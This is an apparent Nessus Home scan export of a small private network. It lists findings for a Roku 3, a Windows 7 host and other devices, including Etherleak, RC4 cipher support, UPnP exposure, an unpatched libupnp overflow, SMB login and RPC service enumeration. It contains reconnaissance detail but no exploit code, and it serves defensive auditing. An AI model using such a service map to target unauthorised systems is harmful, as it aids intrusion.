		11197		CVE-2003-0001		3.3		Low		192.168.0.29		icmp		0		Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)		The remote host appears to leak memory in network packets.		The remote host uses a network device driver that pads ethernet frames
with data which vary from one packet to another, likely taken from
kernel memory, system memory allocated to the device driver, or a
hardware buffer on its network interface card.

Known as 'Etherleak', this information disclosure vulnerability may
allow an attacker to collect sensitive information from the affected
host provided he is on the same physical subnet as that host.		Contact the network device driver's vendor for a fix.		http://www.nessus.org/u?719c90b4		
Padding observed in one frame :

  0x00:  39 7A 4F 00 00 00 00 00 00 00 00 00 00 00 00 00    9zO.............
  0x10:  00                                                 .               
  
Padding observed in another frame :

  0x00:  86 5E F0 00 00 00 00 00 00 00 00 00 00 00 00 00    .^..............
  0x10:  00                                                 .
						2.6				Low		6535						1/14/03		3/6/19

		11219						None		192.168.0.29		tcp		8060		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8060/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.29		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.29		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Roku 3 4200X
Confidence level : 100
Method : UPnP

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

HTTP:!:Server: Roku UPnP/1.0 MiniUPnPd/1.4


SinFP:!:
   P1:B10113:F0x12:W14600:O0204ffff:M1460:
   P2:B10113:F0x12:W14480:O0204ffff0402080affffffff4445414401030307:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:181102_7_p=9080

 
The remote host is running Roku 3 4200X										None								12/9/03		3/9/20

		12053						None		192.168.0.29		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.29 resolves as 126.
										None								2/11/04		4/14/17

		19506						None		192.168.0.29		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 474 sec
										None								8/26/05		8/27/20

		19689						None		192.168.0.29		tcp		8060		Embedded Web Server Detection		The remote web server is embedded.		The remote web server cannot host user-supplied CGIs. CGI scanning
will be disabled on this server.		n/a														None								9/14/05		11/22/19

		22964						None		192.168.0.29		tcp		8060		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		25220						None		192.168.0.29		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.29		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.29:9080
    http://192.168.0.29:8060/
    http://192.168.0.29:8060/dial/dd.xml

And advertises these unique service names :

    uuid:RKU-42XXX-1WS45E002126::upnp:rootdevice
    uuid:RKU-42XXX-1WS45E002126::urn:schemas-upnp-org:device:mdxdevice:1
    uuid:RKU-42XXX-1WS45E002126::urn:mdx-netflix-com:service:target:3
    uuid:019e3105-5400-1008-804e-dc3a5ef738bf::upnp:rootdevice
    uuid:019e3105-5400-1008-804e-dc3a5ef738bf::urn:dial-multiscreen-org:service:dial:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.29		tcp		8060		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.29:8060/ :

deviceType: urn:roku-com:device:player:1-0
friendlyName: Roku 3 - 1WS45E002126
manufacturer: Roku
manufacturerURL: http://www.roku.com/
modelName: Roku 3
modelDescription: Roku Streaming Player Network Media
modelName: Roku 3
modelNumber: 4200X
modelURL: http://www.roku.com/
serialNumber: 1WS45E002126
ServiceID: urn:roku-com:serviceId:ecp1-0
	serviceType: urn:roku-com:service:ecp:1
	controlURL: 
	eventSubURL: 
	SCPDURL: ecp_SCPD.xml
ServiceID: urn:dial-multiscreen-org:serviceId:dial1-0
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: 
	eventSubURL: 
	SCPDURL: dial_SCPD.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.29		tcp		8060		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.29:8060/dial/dd.xml :

deviceType: urn:roku-com:device:player:1-0
friendlyName: Roku 3 - 1WS45E002126
manufacturer: Roku
manufacturerURL: http://www.roku.com/
modelName: Roku 3
modelDescription: Roku Streaming Player Network Media
modelName: Roku 3
modelNumber: 4200X
modelURL: http://www.roku.com/
serialNumber: 1WS45E002126
ServiceID: urn:roku-com:serviceId:ecp1-0
	serviceType: urn:roku-com:service:ecp:1
	controlURL: 
	eventSubURL: 
	SCPDURL: ecp_SCPD.xml
ServiceID: urn:dial-multiscreen-org:serviceId:dial1-0
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: 
	eventSubURL: 
	SCPDURL: dial_SCPD.xml
										None								2/19/09		6/12/20

		35716						None		192.168.0.29		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

DC:3A:5E:F7:38:BF : Roku, Inc.
										None								2/19/09		5/13/20

		46180						None		192.168.0.29		tcp		0		Additional DNS Hostnames		Nessus has detected potential virtual hosts.		Hostnames different from the current hostname have been collected by
miscellaneous plugins. Nessus has generated a list of hostnames that
point to the remote host. Note that these are only the alternate
hostnames for vhosts discovered on a web server.

Different web servers may be hosted on name-based virtual hosts.		If you want to test them, re-scan using the special vhost syntax,
such as :

www.example.com[192.0.32.10]		https://en.wikipedia.org/wiki/Virtual_hosting		The following hostnames point to the remote host :
  - roku
										None								4/29/10		6/12/20

		54615						None		192.168.0.29		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 100
										None								5/23/11		5/23/11

		51192				6.4		Medium		192.168.0.35		tcp		8834		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : O=Nessus Users United/OU=Nessus Server/L=New York/C=US/ST=NY/CN=kali
|-Issuer  : O=Nessus Users United/OU=Nessus Certification Authority/L=New York/C=US/ST=NY/CN=Nessus Certification Authority
				6.5						Medium								12/15/10		4/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.1		tcp		4567		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.1		tcp		4567		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.1		tcp		8890		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.1		tcp		8890		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.20		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2015-2808		4.3		Medium		192.168.0.20		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		65821		CVE-2013-2566		4.3		Medium		192.168.0.26		tcp		443		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				5.9		3.7		5.4		Medium		58796;73684						4/5/13		2/27/20

		66334						None		192.168.0.29		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE (64394) ]

+ Action to take : Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a third party library by a different application, contact the vendor of that application for a fix.


										None								7/8/13		10/16/20

		86420						None		192.168.0.29		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - DC:3A:5E:F7:38:BF
										None								10/16/15		5/13/20

		10150						None		192.168.0.31		udp		137		Windows NetBIOS / SMB Remote Host Information Disclosure		It was possible to obtain the network name of the remote host.		The remote host is listening on UDP port 137 or TCP port 445, and
replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins,
but does not itself generate a report.		n/a				The following 4 NetBIOS names have been gathered :

 WIN7             = File Server Service
 WIN7             = Computer name
 WORKGROUP        = Workgroup / Domain name
 WORKGROUP        = Browser Service Elections

The remote host has the following MAC address on its adapter :

   08:00:27:61:01:8c										None								10/12/99		8/20/20

		10287						None		192.168.0.31		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.31 : 
192.168.0.35
192.168.0.31

Hop Count: 1
										None								11/27/99		8/20/20

		10394						None		192.168.0.31		tcp		445		Microsoft Windows SMB Log In Possible		It was possible to log into the remote host.		The remote host is running a Microsoft Windows operating system or
Samba, a CIFS/SMB server for Unix. It was possible to log into it
using one of the following accounts :

- NULL session
- Guest account
- Supplied credentials		n/a		http://www.nessus.org/u?5c2589f6
https://support.microsoft.com/en-us/help/246261		ERROR:#NAME?										None								5/9/00		3/9/20

		10736						None		192.168.0.31		tcp		135		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available locally :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WindowsShutdown

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc0444F0

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WindowsShutdown

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc0444F0

Object UUID : 6d726574-7273-0076-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-4b9548fdaff259188f

Object UUID : 52ef130c-08fd-4388-86b3-6edf00000001
UUID : 12e65dd8-887f-41ef-91bf-8d816c42c2e7, version 1.0
Description : Unknown RPC service
Annotation : Secure Desktop LRPC interface
Type : Local RPC service
Named pipe : WMsgKRpc0475C1

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc0475C1

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 8174bb16-571b-4c38-8386-1102b449044a, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-21246a40640aa84280

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : a2d47257-12f7-4beb-8981-0ebfa935c407, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-21246a40640aa84280

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3f31c91e-2545-4b7b-9311-9529e8bffef6, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-21246a40640aa84280

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4b112204-0e19-11d3-b42b-0000f81feb9f, version 1.0
Description : SSDP service
Windows process : unknow
Type : Local RPC service
Named pipe : LRPC-d9731b548590390c3e

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LRPC-6a5e61415803aa8b5f

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : LRPC-6a5e61415803aa8b5f

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0767a036-0d22-48aa-ba69-b619480f38cb, version 1.0
Description : Unknown RPC service
Annotation : PcaSvc
Type : Local RPC service
Named pipe : OLEE2EABDF2F1CC4DB8806F2E443667

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0767a036-0d22-48aa-ba69-b619480f38cb, version 1.0
Description : Unknown RPC service
Annotation : PcaSvc
Type : Local RPC service
Named pipe : LRPC-8b64d3c8d2a71b92c5

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : OLEE2EABDF2F1CC4DB8806F2E443667

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-8b64d3c8d2a71b92c5

